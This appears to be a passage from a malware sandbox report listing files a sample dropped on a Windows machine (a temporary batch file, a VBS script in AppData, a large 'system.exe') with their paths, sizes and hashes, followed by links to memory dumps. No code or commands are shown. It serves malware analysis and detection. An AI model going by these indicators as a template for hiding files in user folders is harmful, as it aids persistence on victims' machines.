SHA512 aae7f5004796e641bdfc3cc932124c77ae417fa2b1413fbf5c03bad367ac785980979629bf4e0030e76b12e1c443c0990807f09d50c09911f706fb079a401768
TLSH
T1A5214633B3DD8654C899413A10CEAC1036B787DB409E8E9B7B84D559A42F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 c55b802dc43cff1752e4e8d7c74673a0c16f564519f102386a51a28cfe4b13ef
MD5 5a49b19f3388393ead77e0469d1c8eb8
SHA1 15eba7e825de1187e2de2f78b14e94d40934041a
SHA512 486fd5ec77fdccd20240308d8960fc022cf03cc1a01153a95596a42b8066d13f003af6f4703ca566e7c72c85a22165a11f9579100d9bc73333b9d0bb6d6108d3
TLSH
T164215C37F3DC8614DC9A413A10CEAC1036B6C7D7419ECEAB7B84D544A43F699DE60660
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_3h41hpab.0xy.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3h41hpab.0xy.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

tmpF88F.tmp.bat

Path C:\Users\Admin\AppData\Local\Temp\tmpF88F.tmp.bat
Size 150B
SHA256 4e33c2b23add045a864516a5514a711b3c77a68cdcf8ec0dc47863b3d9d2f0be
MD5 f4e09e1f07e886d7cac3d4ed1b52593f
SHA1 6a267c9a05abad422eee97b10ab0c2846e8d9008
SHA512 515c9afd220ee107b93d6ea664eb6524ef9bf81b04741a97a582e1990c166429e5f50058cf77557acaffdcf37b3c429343a5fa36cd51211a216f40c400e8df32
TLSH
T1BBC08C4262CAAA1E2809141306BA948D967269593E44BB0093844809A280459E5AA242
MD5 SHA1 SHA512 TLSH

Submit Download

Windows_Log_888.vbs

Path C:\Users\Admin\AppData\Roaming\Windows_Log_888.vbs
Size 115B
SHA256 46c0658f0ca7d3474651db5921a7139bb7c2423fbfe1a420ca4bd35543903f6e
MD5 2a429740ed25f2debcaefb31699939f6
SHA1 fc3945faf1471c1237e4b93427ebbacbcdb02ecb
SHA512 6f9f1626d8c6d9a7dd1e4c67181415fd83b5cfc6d966dff9596d5ba941b30a6c1e99c91fa946a1df3c5fa010e661436858e2f669ec80a1cc2fdc5c68a38425dc
TLSH
T10CB092392189C98BA5559AA31777840C86A096506544A7A58A40C59D24A8519B586183
MD5 SHA1 SHA512 TLSH

Submit Download

system.exe

Path C:\Users\Admin\AppData\Roaming\system.exe
Size 41.3MB
SHA256 149975d1d3618e46233c42ebe1fd0faa89252a7268ce84f591541e5f540d46e2
MD5 09ec7182e398c297f0b25cd5ad957799
SHA1 1a920c76be9fe751b053146cc1322437ef48d608
SHA512 291d0b9b764554e9ad5fe4ff872cf7c6f0d631a04c0e945c207cb4ef858a7dea268419314202b283800c7e78b018f5d0c6effeafa9702b7c00eea3891efa9fa7
SSDEEP 786432:2XLMeqSy98ge4oDFFrLESqi/K2fCkaLxqAB0OicXNjsLx:+LMe3y98nRDP09ii2eojiXlsLx
TLSH
T18D9733553FAA54A3C87C4174E73702304A25FD3CE72986D76158B66E0CB29D0DE33AAB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/2060-41-0x00000263ABBB0000-0x00000263ABC62000-memory.dmp

Download

memory/2060-42-0x00000263ABDE0000-0x00000263ABDFE000-memory.dmp

Download

memory/3000-24-0x00007FFF02620000-0x00007FFF02FC4000-memory.dmp

Download

memory/3000-26-0x00007FFF02620000-0x00007FFF02FC4000-memory.dmp

Download

memory/3000-29-0x00007FFF02620000-0x00007FFF02FC4000-memory.dmp

Download

memory/3000-27-0x00007FFF02620000-0x00007FFF02FC4000-memory.dmp

Download

memory/3000-25-0x00007FFF02620000-0x00007FFF02FC4000-memory.dmp

Download

memory/3656-67-0x0000025FF6DD0000-0x0000025FF6DE2000-memory.dmp

Download

memory/4176-15-0x00007FFF02620000-0x00007FFF02FC4000-memory.dmp

Download

memory/4176-7-0x00007FFF02620000-0x00007FFF02FC4000-memory.dmp

Download

memory/4176-17-0x00007FFF02620000-0x00007FFF02FC4000-memory.dmp

Download

memory/4176-1-0x00007FFF02620000-0x00007FFF02FC4000-memory.dmp

Download

memory/4176-2-0x000001FCF2840000-0x000001FCF2862000-memory.dmp

Download

memory/4176-5-0x00007FFF02620000-0x00007FFF02FC4000-memory.dmp

Download

memory/4176-16-0x00007FFF02620000-0x00007FFF02FC4000-memory.dmp

Download

memory/4176-20-0x00007FFF02620000-0x00007FFF02FC4000-memory.dmp

Download

memory/4176-14-0x00007FFF02620000-0x00007FFF02FC4000-memory.dmp

Download

memory/4176-13-0x000001FCF2910000-0x000001FCF291A000-memory.dmp

Download

memory/4176-11-0x000001FCF28F0000-0x000001FCF290E000-memory.dmp

Download

memory/4176-12-0x000001FCF2BC0000-0x000001FCF2C72000-memory.dmp

Download

memory/4176-8-0x00007FFF02620000-0x00007FFF02FC4000-memory.dmp

Download

memory/4176-0-0x00007FFF027AF000-0x00007FFF027B0000-memory.dmp

Download

memory/4176-18-0x00007FFF02620000-0x00007FFF02FC4000-memory.dmp

Download

memory/4176-6-0x00007FFF02620000-0x00007FFF02FC4000-memory.dmp

Download

memory/5864-34-0x000001C080760000-0x000001C08076E000-memory.dmp

Download

memory/5864-33-0x000001C0803F0000-0x000001C0803F8000-memory.dmp

Download

memory/5864-32-0x000001C0E7EE0000-0x000001C0E7F28000-memory.dmp

Download